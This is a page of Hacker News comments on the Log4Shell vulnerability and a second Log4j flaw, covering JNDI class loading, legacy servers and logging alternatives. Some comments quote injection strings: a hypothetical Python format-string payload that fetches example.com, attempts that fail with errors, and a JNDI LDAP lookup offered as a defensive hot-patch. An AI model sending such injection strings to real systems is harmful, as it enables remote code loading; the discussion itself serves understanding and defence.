Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

161–170 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#161
post #132

Earlier quoted context omitted.

This is no more a vulnerability than that >>> x=5 >>> print(x) has access to X. A problem if, as parent asks, > there's an `eval` somewhere in Python's logger

In my hypothetical scenario im not targeting the python logger but rather `''.format()` and f-strings that parse user input naively. A lot of people on /r/ mentions that they started to get '${jndi:...' in their server logs. So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen(' http://example.com').read ()")}` and see what s…

I don't think this is right. .format() is not running any attacker controlled code. It might be formatting attacker controlled input, but the attacker has no control over the execution.

> o what stop them from spamming

Well I can't imagine how I would actually get that to turn into anything other than just a raw string that gets printed to the screen? Like I said, unless there's an eval somewhere it's not an issue.

edit: OK, I see the problem now. The flask article is a lot clearer.

The attacker can't control execution at all, or even really cause execution. What they can do is get your string to include information it should not - quite a footgun, but nothing close to RCE.

edit2: I maybe see a way this could be bad (if the attacker controls the format string that you call .format on), but I can't actually get it working myself.

So here's the thing. The attack as you've described does not work. Python won't just execute that string, you'll get a KeyError. What you need to do is, given a value provided to the string, call some sort of methods on that value such that you can perform your attack. This should be possible.

edit:

I'm trying to get this attack to work. So far, nah.

My assumptions are:

1. Attacker has full control over format string

2. `requests` is imported already (obviously you could just use the stdlib but I'm lazy)

3. An object or class is passed in

In theory I can construct a class from an object like this:

    Foo.__class__('requests', (requests.Request,), dict())()
    

But so far that manifests as...

>>> "{0.__class__('requests', (requests.Request,), dict())()}".format(Foo) Traceback (most recent call last): File "", line 1, in AttributeError: type object 'Foo' has no attribute '__class__('requests', (requests'

It seems that Python does not just naively execute what's inside of this thing.

Similarly,

>>> "{0.__init__((lambda: requests.get('google.com'))())}".format(Foo) Traceback (most recent call last): File "", line 1, in AttributeError: type object 'Foo' has no attribute '__init__((lambda'

If there's a way to exploit this for actual code execution I can't find it easily.

Re: Log4Shell update: second Log4j vulnerability published

#163
post #101
post #19

Earlier quoted context omitted.

Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature! Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd... > By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. So that's where the LDAP portion comes from. This would be perfectly fine if it could only be configured via code or some config file, but the prob…

I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at. This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome. I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis) 1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how…

> That class needs to be on the server already

If you are talking about original log4shell then no! Jndi will grab a class definition from ldap, load it and then deserialize it.

Re: Log4Shell update: second Log4j vulnerability published

#164
post #95

Earlier quoted context omitted.

I would run screaming from such an organization.

I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful. Reality is a messy thing.

In cases like these, I'm a strong proponent of turning it off and seeing who yells.

Re: Log4Shell update: second Log4j vulnerability published

#165
post #87

Earlier quoted context omitted.

> If they somehow manage to get in at least they won't be roaming around inside my home network. I mean if that’s your only concern, it’s pretty easy to run Minecraft in a docker container that’s only allowed to accept inbound connections and to make outbound connections to the internet (or more specifically to the Mojang auth server)

> to make outbound connections to the internet (or more specifically to the Mojang auth server) I believe you can forgo even that; a vanilla server jar can be configured to run in "cracked" mode by setting 'online-mode' to false in server.properties. Skins won't work though, players will have steve/alex skins. It's documented on the no-longer-official wiki here: > online-mode - Server checks connecting players agains…

[deleted]

Re: Log4Shell update: second Log4j vulnerability published

#166
post #94

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…

java.util.logging is available since Java 1.4. You don't need even those 3 lines.

Re: Log4Shell update: second Log4j vulnerability published

#167
post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

You're like the Pfizer of the JVM.

Re: Log4Shell update: second Log4j vulnerability published

#169
post #95

Earlier quoted context omitted.

I've helped out orgs where they had a listing of servers, but couldn't tell me what purpose, if any, they served. You have multiple entire architecture rebuilds, deprecating various parts, whilst people come and go and take their knowledge with them leaving documentation behind that is outdated enough to be more harmful than helpful. Reality is a messy thing.

In cases like these, I'm a strong proponent of turning it off and seeing who yells.

In an org that named their servers after planets, we turned off "Mars" (which was actually completely and utterly undocumented) and discovered it was the bridge between the intranet and the internet. However, upon turning it back on... Nothing came up again.

There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - dozens of interconnected services). We ended up taking the phone off the hook because we kept getting calls of "is it fixed yet?"

Re: Log4Shell update: second Log4j vulnerability published

#170

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

Agreed. Loading and running arbitrary Java byte code should not be possible from user code. Only the runtime system should have this ability.
Post reply on HN